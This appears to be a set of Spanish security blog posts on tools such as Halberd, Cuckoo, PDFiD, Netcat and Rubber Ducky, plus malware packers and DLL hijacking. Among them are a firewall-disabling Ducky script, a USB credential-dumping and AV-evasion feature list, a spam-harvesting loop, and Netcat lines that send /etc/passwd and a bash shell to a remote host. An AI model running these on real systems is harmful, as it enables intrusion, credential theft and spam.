12.5.13

Auditar la seguridad de la configuración del balanceo de carga de servidores Web.

Para poder hacer frente al tráfico Web muchas veces los administradores de servidores Web tienen que implementar balanceadores de carga. Los balanceadores de carga ocultan muchos servidores web verdaderos detrás de una IP virtual. Reciben peticiones HTTP y las dirigen a los servidores web para compartir el tráfico entre ellos.

Con la herramienta Halberd permite descubrir los servidores que se encuentras detrás del balanceador de carga y auditar la seguridad de la configuración.

El modo de funcionamiento de Halberd se divide en tres etapas:


  • Inicialmente, envía peticiones múltiples al servidor Web a auditar y registra sus respuestas. Esto se denomina fase de muestreo.
  • Después, el programa procesa las contestaciones y busca muestras del equilibrio de carga. Esto se llama la fase de análisis.
  • Finalmente, la Halberd escribe un informe de sus resultados.

Halberd utiliza las siguientes técnicas:

Comparación de la fecha. Las respuestas HTTP revelan el reloj interno del servidor Web que las produce. Si aparecen varios resultados con tiempos de reloj diferente, Halberd identifica número de servidores verdaderos. Este método funciona si los servidores Web no están sincronizados con un NTP.

Diferencia de nombres de campo de las cabeceras del MIME. Las diferencias en los campos que aparecen en respuestas del servidor pueden permitir que la Halberd identifique los servidores.

Generación de altas cantidades de tráfico. Bajo ciertas configuraciones, los balanceadores de la carga comienzan a distribuir tráfico, solamente después de que se alcance cierto umbral. Esta herramienta intenta generar un volumen de tráfico importante para accionar esta condición y alcanzar tantos servidores verdaderos como sea posible.

Usando diversas URL. Un balanceador de carga se puede configurar para redirigir el tráfico a distintos servidores según la URL a la que se acceda. Esta herramienta utiliza una araña para navegar por las diferentes URL para diferenciar los distintos servidores que contestan.

Detección de cache del servidor. Detecta si los servidores web utilizan cache para acelerar las peticiones con programas tipo Squid.

Obtención de IP públicas. A veces las cookies o los campos especiales del MIME en respuestas del servidor pueden revelar direcciones IP públicas de los servidores web. En estos casos se puede puentear el balanceador de carga y acceder directamente al servidor web.

Más información y descarga de Halberd:
http://halberd.superadditive.com/

Manual de Halberd:
http://halberd.superadditive.com/doc/manual/

¿Qué es un Sinkhole?

Hablando sobre naturaleza, un sinkhole - término inglés - define un hundimiento de tierra u hoyo. En el mundo de informática, sin embargo, se denomina sinkhole a una técnica de defensa contra botnets que puede neutralizar la misma completamente, puesto que trata de controlar el punto al que se conectarán los ordenadores infectados, atrayéndolos como si fuese un agujero de verdad.
Para tratar con un ejemplo real, vamos a ver cómo está siendo “sinkholeado” el troyano Mebroot, también conocido como Sinowal/Torpig. Antes de nada, debemos mencionar que esta familia de malware no se conecta únicamente a un único panel de control, sino que utiliza un algoritmo para generar los nombres de dominio a los que se conectará. 
Peticiones realizadas desde una maquina infectada
La generación de dominios continúa hasta que uno de ellos resuelva y se compruebe su validez. Esta técnica no es novedosa, y se utiliza para que la botnet sea más difícil de destruir, a la vez que permite poder recuperar la botnet en cualquier momento registrando un dominio futuro que se sepa que va a ser generado el día X. No obstante, tiene su desventaja, y es que cualquiera que conozca o descifre el algoritmo de generación de dominios podría ir un paso por delante y registrar uno de los dominios a los que se conectarán los bots.
Como veremos a continuación, justo lo escrito arriba está pasando con la muestra que hemos analizado, y es que el servidor  que finalmente se pudo resolver dicho día envió el siguiente mensaje:
Respuesta descifrada desde del C&C
El bot en cuestión recibió el comando NOOP junto con la nota pwned, indicándole que se quedara en espera (NO OPeration) y paró de generar más dominios.
Con esto, podemos decir que el servidor malicioso ha sido reemplazado por uno controlado presuntamente por investigadores de seguridad, y los propietarios de ese servidor podrán obtener inteligencia acerca del tamaño de la botnet, las IPs de las víctimas, hasta avisar los proveedores de servicios de internet de una infección posible.
Jozsef Gegeny
S21sec ACSS

Explotación de vulnerabilidades en impresoras

El uso de Google Dorks para encontrar equipos en la red no es algo novedoso. De echo se usa para buscar versiones de software específico y poder usar los últimos exploits que han salido. Y que lo mas seguro, es que algunos administradores no hayan parcheado sus equipos.
Los cracks de Hackplayers el otro día publicaban algunos dorks para encontrar cámaras IP usando Google Dorks.
http://www.hackplayers.com/2013/01/google-dorks-para-espiar-webcams.html
En el POST podemos encontrar una manera de encontrar impresoras vulnerables. Además hay herramienta para realizar la epxlotación de la vulnerabilidad.
Es por eso que podemos hacer búsquedas del siguiente tipo:
Impresoras vulnerables
Además tenemos, como comentaba, la herramienta está disponible en GitHub
https://github.com/percx/Praeda
Be powerful with Google!

Análisis automático de malware con Cuckoo

Hay que entender que Cuckoo es como un Daemon es decir, lo hemos de dejar ejecutándose, y subir los binarios o URL para que Cuckoo las vaya analizando.
Para empezar, nos vamos al PATH, donde tenemos Cuckoo y ejecutamos:
python cuckoo.py
Por pantalla podremos ver algo así:

Ahora Cuckoo cuando lanzemos las tareas de análisis nos irá mostrando por pantalla que va haciendo. Además si por o que fuera tuviéramos algún error nos lo mostraría por pantalla.
Escogemos un binario cualquiera a analizar y se lo pasamos como parámetro al submit de cuckoo, así:
python submit.py troyano.exe
En Cuckoo veremos cosas como:

Cuckoo irá realizando las tareas una por una, hasta acabar.
Cuando acaba, nos genera un reports  en varios formatos que podremos consultar mas tarde.
Para verlo hará falta arrancar la parte web, ejecutamos:
python web.py
Si no queremos arrancarlo en localhost se le puede pasar como parámetro -t IP -p PUERTO
La web tiene este aspecto:

Si queremos ver un report en concreto, clicamos sobre el MD5 que queramos ver y podemos ver un resumen del binario analizado.

El report está detallado, en conexiones de red, características del binario etc… Además te realiza pantallazos para que puedas ver que ocurre.
Cuckoo también es capaz de analizar URL, para ello debemos de pasarle lo siguiente:
python submit.py -u URL_MALICIOSA -p ie
Con esto, Cuckoo abrirá esta URL con Internet Explorer y por ejemplo capturará si se baja algún binario o se crean archivos adicionales.
Como véis Cuckoo ofrece bastante versatilidad como herramienta de análisis de malware.

Gcrack descifrando hashes con Google

En los procesos de auditoría, cuando se consigue acceso a una máquina, con Meterpreter es posible por ejemplo hacer un volcado de los hashes de la máquina. Aunque se consiga hacer el volcado es importante el poder obtener la contraseña en claro. Como “no somos tan diferentes” seguro que el hash de la contraseña ya está en Internet 
Así que Grack se encargará de hacer esa búsqueda del hash.
Como dependencias usaremos python-lxml y python-nltk. Hacemos la prueba de búsqueda de hashes de contraseñas.
Primero de todo nos bajamos Grack para usarlo:
git clone https://github.com/tkisason/gcrack.git
Ejecutamos Grack para buscar los hashes en Google
*****@*******:~/tools/brute_force/gcrack:python gcrack.py hashes
[+] Hashes loaded, using google_attack to crack them
md5(qwerty) d8578edf8458ce06fbc5bb76a58c5ca4
md5(password) 5f4dcc3b5aa765d61d8327deb882cf99
md5(alkali) f7f41ad5328d528a751c55fa2fcf7273
md5(password09) 8350513a8aff1d5bc1534dbd90747bb8
sha1(123456) 7c4a8d09ca3762af61e59520943dc26494f8941b
sha1(security) 8eec7bc461808e0b8a28783d0bec1a3a22eb0821
md5(admin) 21232f297a57a5a743894a0e4a801fc3
sha1(crypto) 44a9713350e53858f058463d4bf7f1e542d9ca4b
[+] Found 8 of 8
Como podés ver la herramienta ha sido capaz de encontrar los hashes en Google

USB hacking

El acceso físico a una máquina siempre puede suponer un problema de seguridad. No por el robo del equipo sino porque alguien de manera intencionada podría por ejemplo conectando un USB instalar un malware, o aprovechandose de una vulnerabilidad 0day del sistema operativo ejecutar código remoto y tener una shell  con permisos de administrador.
El artículo de hoy no trata sobre la explotación de una vulnrabilidad, sino de proyectos que tratan sobre “USB hacking”.
No creáis que estos USB son grandes.. y que se verán en seguida, los dispositivos que se usan para estas cosas son pequeños, y incluso tienen soporte para SD.
USB Rubber Ducky
Como veis el dispositivo es bastante pequeño y además tiene soporte para tarjeta SD.
¿Que proyectos existen?
El mas novedoso hasta la fecha es el de Rubber Ducky, podéis encontrar información sobre él en Code Google
El proyecto posee las siguientes características:
  • Firmware to Support Windows, Linux, Mac OS X, Android & IOS
  • Firmware to Support OSX only! (by demand)
  • Firmware to Support Mass Storage (acts like USB Drive)
  • Firmware to Support Multiple Payloads in HID mode
  • New Firmware Composite Device; Mass Storage & Keyboard (Button triggers Keyboard) Language Independent
  • New Feature Version 2 firmware supports easy VID & PID manipulation through binary file vidpid.bin.
Operating Systems Supported:
  • Windows
  • Unix (Linux,Solaris,BSD)
  • OSX
  • Android
  • IOS
Multiple HID Language Support
  • US (United States)
  • UK (United Kingdom)
  • DE (German)
  • DA (Danish)
  • FR (French)
  • BE (Belgian)
  • NO (Norwegian)
  • PT (Portuguese)
  • SV (Swedish)
  • RU (Russian) (testing)
Script(s) to reverse Hak5 Ducky Binaries (inject.bin files) into their ducky script form.
  • Currently Supports En-US and En-GB Languages
Además podremos crear distintos Payloads según nuestras necesidades. Tendremos una página que nos genera alguno de ellos.
Payloads Rubber Ducky
Para ver un ejemplo en Windows 7:
REM Author: Darren Kitchen
REM Target: Windows 7
REM Description: Create a Wireless AP and disable firewall.
DELAY 2000
CONTROL ESCAPE
DELAY 200
STRING cmd
DELAY 200
MENU
DELAY 100
STRING a
DELAY 100
LEFTARROW
ENTER
DELAY 200
STRING netsh wlan set hostednetwork mode=allow ssid=Seifreed key=CLAVE
ENTER
DELAY 100
STRING netsh wlan start hostednetwork
ENTER
DELAY 100
STRING netsh firewall set opmode disable
ENTER
STRING exit
ENTER
En este caso el usuario se conectaría al punto de acceso y el firewall quedaría deshabilitado.
QUACK
Puedes colaborar con tu propio PAYLOAD si quieres :D
Otro de los proyectos interesantes de USB Hacking es USB Pocket Knife
El proyecto es muy ambicioso y tiene muy buenas características, el detalle:
Key:
- Non-U3 Drives Only
- U3 Drives only
- Not yet Implemented
- Everything Else
Features:
- Upon insertion, the first option in the Autorun dialog box starts the payload, while appearing only to open the drive.
- Full silent autorun with no user interaction for U3 drives.
- A “Menu.bat” is included to mange all special functions, modules, and features of the switchblade.
- Payload checks the root of the C: drive and prevents the payload from running if the file “Safety.txt” is found.
- Includes TightVNC viewer so you always have it with you.
- Includes Notepad++ for easy batch editing.
- Includes antidote batch files for Nmap, the Hacksaw, and VNC.
- Fully commented code and fully featured ReadMe with instructions on setting up the payload for your needs.
- A custom backup and restore script, which automatically restores the switchblade (to the last time it was backed up) before every run. This ensures the payload is always put back to a normal state, even after it’s been nuked by an antivirus.
- A custom auto-update script that goes out and downloads the most recent versions of many of the tools used on the switchblade (pwdump, nircmd, etc). Simply run it from Menu.bat, and the tools will be downloaded, extracted, and installed into the payload. The backup archive for the entire payload will also be updated to keep the latest versions of the files from being overwritten by an old backup. *working on a way to get this working for U3 drives.
- Auto Compress logs as they are generated to save space
- Email logs Back to yourself
- Optional auto-repack of executable to circumvent AV detection
Payload Components:
- Runs AVKill (csrss.exe)
- Restores the payload to the last backup point
- Disables the Windows Firewall Silently
- Hides Hidden and System Files
- Enables the Remote Desktop service
- Dumps general System Info
- Dumps the SAM
- Dumps LSA secrets
- Dumps LSA secrets via an alternate method (less detectable, not as pretty)
- Dumps Network Passwords
- Dump messenger passwords
- Dump IE passwords.
- Dump saved wireless keys
- Dump URL history
- Dump Firefox passwords (Supports Firefox 3))
- Dump Cache Passwords
- Dump Current Network Services
- Generic Port Scanning
- Dumps current external IP
- Dumps email, messenger, and general website passwords
- Dumps currently installed hot fixes and IE history
- Dumps Google Chrome passwords
- Installs Hacksaw the usual way
- Installs WinVNC client.
- Installs Nmap as a service (emails you results like the Hacksaw)
- Installs a keylogger which emails its logs off to you daily [Broken!]
- File slurping for logs, chat-logs, downloads, bookmarks, etc. (smaller files)
- File slurping for various Documents and Media folders. (larger files)
- Opens an explorer window to the Documents folder when finished
- Automatic update scrip to keep various executables up to date.
- Compress logs as they are generated to save space.
- Optionally email logs in addition to storing them on the switchblade.
- Management interface to manage the various functions of the pocket Knife.
- Ability to save up to 3 configuration profiles [New!]


El USB hacking no es algo pasado de moda y con una buena suite instalada se pueden hacer estragos

Guia definitiva para el “tracking de navegación”

l tracking de navegación es algo de lo que se está hablando mucho últimamente, diversos investigadores hacen hincapié en la importancia del tracking. Cuando visitas una página web tus datos son enviados a terceros sin que tu lo sepas. Estos fenómenos se llaman remarketing o retargeting. 
Proyectos como Do not track Plus cuando llegas a una página te indican donde se van a enviar esos datos.
Dont track plus
Además hay extensiones que se pueden instalar en el navegador que proporcionar esa privacidad, yo creo necesaria, en la navegación.
El artículo de hoy viene dado ya que hay un proyecto en Internet que explica paso por paso como configurar y que instalar para aumentar privacidad y sobretodo evitar el tema del tracking.
El proyecto podéis encontrarlo en:
http://fixtracking.com/
Seguro que lo encontráis interesante y lo mas importante aumentáis vuestra privacidad en internet.

Extrayendo información a través de UpnP

A raíz de la noticia de Rapid7, me enteraba de una vulnerabilidad reciente descubierta en UpnP.
El fallo en si es bastante grande ya que UpnP es utilizado por más de 1.500 fabricantes y 6.900 productos, entre los que se encuentran dispositivos de Belkin, D-Link, Linksys, Netgear o Apple.
Como no, ya han liberado módulo de Metasploit por lo que podemos automatizar las pruebas en los rangos de red de nuestra organización (si trabajamos en empresa) o simplemente en nuestra red en casa para ver si somos vulnerables.
También podemos probar el fallo con nmap, hay un script para ello.
nmap –script upnp-info.nse -p 1900 -sU 192.168.0.0/24
Vamos a probar con el módulo que han habilitado para Metasploit, lo primero es actualizar y arrancar el framework
metasploit

Usar el módulo de escaneo es muy fácil, elegimos la opción y lanzamos el módulo.
lanzar_escanner
Indicamos los RHOSTS correspondientes y lanzamos el módulo
meta
En el escaneo realizado con el módulo hemos encontrado una de las Ip’s de la que se ha podido extraer información.
Rapid7 ha habilitado una web para saber si tu red es vulnerable al fallo de UpnP
http://www.rapid7.com/resources/free-security-software-downloads/universal-plug-and-play-jan-2013.jsp
Y como no, podéi descargar el Whitepaper de a siguiente dirección:
https://community.rapid7.com/docs/DOC-2150

PDFiD, analizando archivos PDF

Es importante tener un buen arsenal de herramientas si queremos hacer un análisis completo y funcional en un caso. Hoy en día que el malware se hace eco en casi cualquier tipo de archivo es importante poder analizar cada uno de ellos. Hoy le toca el paso a los PDF’s. Ya he publicado alguna cosa aquí sobre análisis de PDF, de echo uno de mis colegas es el desarrollador de PeePDF, GRAN herramienta para el análisis de PDF’s maliciosos.
El único inconveniente de PeePDF es la cantidad de dependencias que tiene, así que si no te quieres liar es mejor que los uses desde distribuciones como Remnux. La ventaja de usar la herramienta que veremos hoy es que no necesitarás ninguna dependencia, eso si, no tiene la potencia de análisis de PeePDF, está claro.
La herramienta la descargamos desde la web de Didier Stevens
http://didierstevens.com/files/software/pdfid_v0_1_0.zip
Primero vamos a ver que opciones tiene la herramienta:
darkmac:Downloads marc$ python pdfid.py -h
Usage: pdfid.py [options] [pdf-file|zip-file|url]
Tool to test a PDF file
Options:
–version show program’s version number and exit
-h, –help show this help message and exit
-s, –scan scan the given directory
-a, –all display all the names
-e, –extra display extra data, like dates
-f, –force force the scan of the file, even without proper %PDF header
-d, –disarm disable JavaScript and auto launch
Para tener una vista clara de lo que hay, nos servirá.
Vamos ha hacer un análisis de un documento PDF, para ver que podemos extraer:
darkmac:Downloads marc$ python pdfid.py /Users/marc/Downloads/RESULTS/analysis/52/APT_1104statment.pdf
PDFiD 0.1.0 /Users/marc/Downloads/RESULTS/analysis/52/APT_1104statment.pdf
PDF Header: %PDF-1.7
obj 59
endobj 59
stream 40
endstream 40
xref 1
trailer 1
startxref 5
/Page 3
/Encrypt 0
/ObjStm 9
/JS 0
/JavaScript 0
/AA 0
/OpenAction 0
/AcroForm 1
/JBIG2Decode 0
/RichMedia 0
/Launch 0
/EmbeddedFile 9
/Colors > 2^24 0
Si comprobamos la salida de PDFiD podemos ver que en concreto este archivo tiene varios objetos emmbedded… Cosa sospechosa a priori…
PDFiD también nos permite extraer la fecha de modificación y creación del documento
darkmac:Downloads marc$ python pdfid.py -e /Users/marc/Downloads/RESULTS/analysis/52/APT_1104statment.pdf
PDFiD 0.1.0 /Users/marc/Downloads/RESULTS/analysis/52/APT_1104statment.pdf
PDF Header: %PDF-1.7
obj 59
endobj 59
stream 40
endstream 40
xref 1
trailer 1
startxref 5
/Page 3
/Encrypt 0
/ObjStm 9
/JS 0
/JavaScript 0
/AA 0
/OpenAction 0
/AcroForm 1
/JBIG2Decode 0
/RichMedia 0
/Launch 0
/EmbeddedFile 9
/Colors > 2^24 0
%%EOF 5
After last %%EOF 0
D:20110413150033+08’00 /CreationDate
D:20110704103118+08’00 /LastModified
D:20110920103827+08’00 /ModDate
D:20110920103842+08’00 /CreationDate
D:20110920103851+08’00 /LastModified
Total entropy: 7.350737 ( 91010 bytes)
Entropy inside streams: 7.694377 ( 52732 bytes)
Entropy outside streams: 6.372867 ( 38278 bytes)
Mas información que podemos extraer de los documentos PDF.
Sin duda una herramienta a incorporar en nuestro arsenal.

Hexinject

El estudio del tráfico de red es necesario en varias disciplinas, por ejemplo en un análisis dinámico de malware. Es por eso que existen herramientas como HexInject.
Esta herramienta aunque a priori pueda parecer que es difícil de usar tiene un par de flags que me han parecido interesantes.
Búsqueda de strings en la captura
Uno de los flags que podremos usar a la hora de capturar el tráfico es el uso de strings,
Hexinject
Podemos buscar directamente por los hosts que aparecen en la muestra:
Hosts
Además de buscar haciendo captura del tráfico seremos capaces de inyectar paquetes en la red. Está claro que al verificar estos paquetes se trata de paquetes incorrectos.
Paquete malformado
La herramienta está incluída en la suite de Backtrack y la podéis encontrar en Sourceforge
http://hexinject.sourceforge.net/

Distribuir el malware con un exploit kit

Cuando se prepara una campaña de infección de malware el criminal se puede encontrar en varios momentos.
  • Posee una infraestructura para cometer fraude
  • Posee un Exploit Kit que ha comprado
  • Tiene la muestra con la configuración.
Se pueden dar los tres casos a la vez lo que facilita que alguien con malas intenciones pueda perpetuar fraude.
Pero en algunos casos es posible que un criminal se encuentre que solo ha pagado por la muestra que usará para infectar a los usuarios y necesite de alguna manera distribuir malware. En esos casos y si no quiere pagar por un Blackhole puede tratar de hacerse un kit a medida o buscar algunos de los que puede encontrar por la red.
Por ejemplo existen algunos foros que se encargan de distribuir Exploits kits, no habrá ninguno actualizado, pero puedes encontrarte con muchas sorpresas si buscas bien.
http://bit.ly/14qvyjZ
En esas entradas podremos encontrar exploits para descargar, esto sirve tanto si queremos distribuirla muestra o simplemente queremos saber como funciona.
Exploit para descargar
Aunque tampoco hemos de fiarnos de lo que nos descargamos ya que hemos de pensar que es posible que la muestra de malware contenga otro malware y quedemos infectados.

Envío gratuíto de SPAM

Cuando se realiza un análisis sobre una investigación utilizamos herramientas que desarrolladores cuelgan en los github y los sourceforge correspondientes. Estas herramientas facilitan el día a día de los técnicos. Pero que pasaría si estas herramientas las usaran los cibercriminales?
Por poner un ejemplo, TheHarvester, esta herramienta se usa para la parte de information gathering. ¿Que podemos hacer con esta herramienta?
darkmac:theharvester-read-only marc$ python theHarvester.py
*******************************************************************
* *
* | |_| |__ ___ /\ /\__ _ _ ____ _____ ___| |_ ___ _ __ *
* | __| ‘_ \ / _ \ / /_/ / _` | ‘__\ \ / / _ \/ __| __/ _ \ ‘__| *
* | |_| | | | __/ / __ / (_| | | \ V / __/\__ \ || __/ | *
* \__|_| |_|\___| \/ /_/ \__,_|_| \_/ \___||___/\__\___|_| *
* *
* TheHarvester Ver. 2.2a *
* Coded by Christian Martorella *
* Edge-Security Research *
* cmartorella@edge-security.com *
*******************************************************************
Usage: theharvester options
-d: Domain to search or company name
-b: Data source (google,bing,bingapi,pgp,linkedin,google-profiles,people123,jigsaw,all)
-s: Start in result number X (default 0)
-v: Verify host name via dns resolution and search for virtual hosts
-f: Save the results into an HTML and XML file
-n: Perform a DNS reverse query on all ranges discovered
-c: Perform a DNS brute force for the domain name
-t: Perform a DNS TLD expansion discovery
-e: Use this DNS server
-l: Limit the number of results to work with(bing goes from 50 to 50 results,
-h: use SHODAN database to query discovered hosts
google 100 to 100, and pgp doesn’t use this option)
Examples:./theharvester.py -d microsoft.com -l 500 -b google
./theharvester.py -d microsoft.com -b pgp
./theharvester.py -d microsoft -l 200 -b linkedin
La herramienta posee varios métodos de búsqueda.
Vamos a ponernos en la piel de un spammer, en la que quiere conseguir direcciones de correo de una compañía a la que quiere mandar spam.
Sería tan sencillo con hacer un bucle y usar harvester para conseguir las direcciones de correo.
Esto que comento será tan fácil como hacer un archivo TXT con tantos dominios como los que queramos escanear.
for i in `cat dominios.txt`; do python theHarvester.py .d $i -b google ; done

Una tarea que pueden automatizar en sus campañas de SPAM.

URLQuery, servicio web para el análisis de malware

A día de hoy es complicado saber si no quedaremos infectados al navegar por Internet. Para infectarnos no hace falta que vayamos ha navegar en aquella página que nos puede venir en un correo de SPAM, si no que ahora una de las prácticas habituales de los ciber-criminales es infectar páginas legítimas.
Y esto, ¿porque ocurre?
Bueno es mas fácil poder llegar a infectar a usuarios que vistan webs legítimas que no intentar obligar al usuario a visitar un link que le llegará por correo ¿No?
Para tratar de analizar estas páginas webs existen páginas que nos facilitarán en poco tiempo un reporte de si hay algo peligroso en dicha página web. Uno de esos servicios es URLQuery.
Si vamos hacia la página web encontraremos los análisis que ha ido realizando la gente:
url_query
Nos da bastante información como la fecha, si en el IDS saltó una alerta o no, además de la IP e URL/IP.
Vamos a ver primero un ejemplo de una página de dominio .cat de aquí de Cataluña! Veremos un ejemplo de un report de un escaneo.
url_qury_stat1
Podremos ver un resumen del escaneo, en el resumen vemos
  • URL
  • ASN
  • Localización
  • Fecha del report
  • Status
  • Alertas
Además podremos ver un pantallazo de la página web.
En Settings veremos con que parámetros se ha configurado el escaneo. En este caso podemos ver que versiones específicas han saltado.
También podemos ver la parte de alertas que ha saltado en los motores.
Que mas cosas podemos ver en el reporte de URLQuery
url_query_stat2
Si URLQuery ha encontrado mas alertas en el mismo DOMINIO/IP/ASN nos lo mostrará, para poder ver relación entre infecciones por ejemplo.
Otra de las cosas interesantes es poder ver los Javascripts que se ejecutan en la página para ver si hay alguno malicioso, por ejemplo.
También podremos ver las transacciones HTTP que hay en la web.
url_query_stat4
En la última parte del report podemos ver los REQUEST que hace la página y los response recibidos.
Vamos a ver en un ejemplo de infección en la web, que indicadores deberíamos de tener en cuenta.
javascript
Una de las alertas en las que nos tenemos que fijar en URLQuery es en los Javascript que carga la página, aquí podremos ver funciones EVAL, por ejemplo.
Esta es una de las cosas que podremos tener en cuenta.
Otra de las cosas que podremos ver es las peticiones que se realizan desde la página al cargarla:
javascript_2
URLQuery además nos marcará la petición en amarillo para que la revisemos.
URLQuery es gratis y permite analizar las URL’s que necesites, por otro lado además tienen el apartado de estadísticas en el que podrás consultar que Exploits Packs son los que mas han analizado. También cuando realices un análisis puedes cambiar la versión de Java y Adobe además del navegador.

Problemas en la detección de packers

Es común encontrarse malware que llevan como medida de  protección un packer, esto dificulta tanto la parte de detección por parte de las casas de antivirus como por parte del analista cuando realiza la ingeniería inversa.
Un Packer es  un programa que toma como entrada un fichero ejecutable y devuelve otro fichero ejecutable con la misma funcionalidad pero con ciertas protecciones añadidas que dificultan su análisis.
En el análisis del binario nos podemos encontrar con ciertas dificultades, una de ellas es que al contener el packer existirán diversas partes del binario que estarán cifradas, esto dificulta el análisis del código de manera que tendremos que extraer el packer para poder ver el contenido del binario. Existen multitud de packers, de los mas famosos podemos encontrar UPX, FSG, Themida etc…
El primer paso para poder ver el contenido del binario es averiguar con que Packer ha sido empaquetado. Es en este paso es donde intervienen ciertos programas que se encargan de analizar la cabecera del binario para tratar de analizar con que Packer esta protegido dicho binario.
Este tipo de programas no son 100% fiables y son capaces de darnos falsos positivos y de esto trata la entrada de hoy. 
PEID
PEID es uno de esos programas capaces de dar información de como está empaquetado, estos software se basan en firmas que pueden buscar en bases de datos que se van actualizando, esas firmas se encuentran a lo largo del binario con el binario en si o bien mirando solo el Entry Point.
Ahora haremos la prueba con un binario
PEID nos indica que el binario está empaquetado con UPolyX. ¿Será esto cierto?
El software se puede configurar para que haga los análisis mas profundo del binario 
 Configuramos PEID de esta forma y volvemos a analizar el binario.
El packer detectado es otro, no el encontrado anteriormente, PEID se basa en firmas para la detección del tipo de packer.
RDG Packer Detector

RDG igual que PEID nos ayuda a identificar el packer con el que se haya empaquetado el binario.
También se basa en firmas igual que PEID, pero en este caso también nos da un resultado distinto.
 
RDG detecta el packer por heurística y nos da un resultado distinto a PEID.
¿Fallo en las comprobaciones automáticas?
Una pregunta que nos podemos hacer es porque PEID y RDG han detectado packers distintos, y en el caso de PEID si se configuraba para que la comprobación se hiciera de manera más profunda detectaba un packer distinto, esto es debido a que este tipo de programas se basan en firmas, si miramos el fichero de firmas
Como las firmas se van actualizando, hay firmas que solo están completadas la mitad de la firma, si buscamos en algunos casos de los packers detectados, como Upolyx, Aspack y Extreme Protector, nos encontramos.
 
Este es el caso de Upolyx, detecta la firma porque parte delos Bytes del packer se encuentran en el binario 
Parte de la firma del packer de Aspack también se encuentra en el binario.
 Y por último el packer detectado por RDG que encontraba Xtreme Protector, también es encontrado en el binario.
Además algunos de los packers permiten poner una firma falsa, de manera que dificulta la detección en base a éstas.
Detección del packer manualmente
Otra de las opciones que disponemos es de analizar el binario manualmente con un debugger, no es tan rápido como usar PEID o RDG pero nos aseguramos de tener mas fiabilidad a la hora de detectar el packer.
Para el análisis usaremos OllyDBG, abrimos OllyDBG y empezamos. 
Cargamos el binario a analizar, nos dirigimos al image base + 1000h bytes (es donde se mapea/empieza el código, para este caso), el packer sustituye al programa colocándose él en esta dirección, es por eso que veremos el contenido cifrado.
En la ejecución del programa en primer lugar se ejecuta el código del packer, que se encargará de descifrar y descomprimir el código previamente protegido.
Colocamos un breakpoint y vamos ejecutando el programa en Olly para ver si podemos ver que packer es.
En la ejecución del sample el Olly podemos ver el string “oreans” ; oreans es la empresa que distribuye software comercial como Themida, es posible que se trate de este software así que seguimos buscando entre los distintos productos que distribuye la compañía, hasta encontrar el software. 
Se trata de WinLicense, uno de los productos que distribuye la empresa Oreans para la protección de binarios, que en este caso ha sido utilizado para proteger malware de la detección de antivirus y de un posible análisis del mismo.
El uso de los packers es muy frecuente cuando se trata de malware, muchos aprovechan packers como por ejemplo UPX, los modifican y los usan para volver sus samples modificados indetectables.
Las mafias profesionales ya usan packers privados que son indetectables por los motores antivirus, además en el mundo Underground ya existen servicios que por unos pocos dólares pueden empaquetar un binario con un packer/cripter privado de manera que será difícil detectarlo por los motores antivirus. 

Windows DLL Hijacking

Durante los últimos días, la avalancha de nuevos advisories que se refieren a esta vulnerabilidad está causando bastante revuelo. Ya hay contabilizadas más de 100 aplicaciones vulnerables y la lista parece que continúa creciendo. ¿Realmente es para tanto? Veamos:

La nota detonante ha sido este documento en el cual se reporta una vulnerabilidad que afecta a la aplicación iTunes. Básicamente el problema consiste en la posibilidad de ejecutar código de forma remota, "invitando" a un usuario a abrir con iTunes un archivo inofensivo, ya sea desde una unidad local, una carpeta compartida o una unidad usb. Este archivo se acompaña de una librería específica requerida por la aplicación vulnerable. Cuando la aplicación procede a la apertura del archivo realiza la carga en memoria de esta librería en lugar de la original. ¿Cómo es esto posible?

La explicación técnica es bastante sencilla. Cuando una aplicación de Windows carga de forma dinámica una librería sin especificar la ruta completa, Windows busca esta librería siguiendo un orden específico. Las funciones encargadas de realizar la carga de la librería son LoadLibrary y LoadLibraryEx. Este es el orden de búsqueda del archivo DLL de estas dos funciones:

1. El directorio desde el que se cargó la aplicación
2. El directorio del sistema
3. El directorio del sistema de 16 bits
4. El directorio de Windows
5. El directorio de trabajo actual
6. Los directorios enumerados en la variable de entorno PATH

Si consultamos la documentación oficial de Microsoft vemos que se recomienda no utilizar la función SearchPath para obtener la ruta completa al archivo DLL al utilizarla posteriormente para llamar a LoadLibrary. Esta recomendación se basa en el hecho de que la función SearchPath usa un orden de búsqueda diferente de los archivos, comenzando por el directorio de trabajo. La forma más sencilla de evitar este problema es llamar previamente a la función SetDllDirectory pasándole como parámetro una ruta en blanco, eliminando así el directorio actual del orden de búsqueda por defecto de los archivos DLL.


Verificando la vulnerabilidad.

Unas pruebas rápidas en un entorno controlado son suficientes para comprobar cómo es bastante fácil encontrar aplicaciones vulnerables y cómo explotar esta vulnerabilidad.
Nuestro conejillo de indias será el archivo GRPCONV.EXE incluido en Windows XP, esta aplicación es el conversor de grupos para el Administrador de programas de Windows.

La siguiente es una captura de pantalla de Windbg (debugger) en la cual se aprecia la carga de la librería imm.dll desde el directorio de trabajo en el cual se abre un archivo grp.



La librería imm.dll original que carga la aplicación, se ha sustituido por otra que en realidad es un exploit a medida, el cual proporciona una shell a otro equipo de pruebas con dirección IP 172.17.1.89.



¿Cual ha sido la respuesta de Microsoft?

La siguiente actualización de seguridad proporciona una nueva entrada del registro de Windows CWDIllegalInDllSearch, que permite a los administradores controlar la ruta de búsqueda de las dlls cargadas por las aplicaciones. Mediante esta nueva entrada es posible definir lo siguiente, ya sea para cada aplicación o para todo el sistema:

- Quitar el directorio de trabajo actual de la ruta de búsqueda de la biblioteca.
- Impedir que una aplicación cargue una biblioteca desde una ubicación de WebDAV.
- Impedir que una aplicación cargue una biblioteca desde un WebDAV o desde una ubicación UNC remota.

Es curioso cómo una vulnerabilidad que fue descubierta por Georgi Guninski en el año 2000, y que en su momento (2001) fue activamente explotada por el gusano Nimbda, vuelve a ponerse de actualidad. Pues sí, me temo que no se trata de algo nuevo. Esta era precisamente una de las técnicas que utilizaba Nimbda para propagarse mediante la copia de la supuesta librería riched20.dll en directorios con archivos .doc.

Netcat

Netcat es una utilidad proveniente del mundo del hacking que se ha convertido en una herramienta imprescindible para muchos administradores de redes y sistemas.

Definida por algunos como la navaja suiza del TCP/IP, Netcat es una herramienta de red que permite enviar y recibir conexiones TCP y UDP desde línea de comandos y redirigir el input/output hacia otros comandos.

Esta versatilidad la convierte en muy útil a la hora de realizar pruebas de seguridad o simulacros de intrusión. Permitiendo por ejemplo:

Enviar un fichero a un equipo remoto
cat /etc/passwd | nc -v 1.1.1.1 666

Abrir una shell en un puerto
ncat -v -l 1111 -c “/bin/bash -i 2>&1”

Enviar una shell a un equipo remoto
ncat -v 1.1.1.1 666 -c “/bin/bash -i 2>&1”

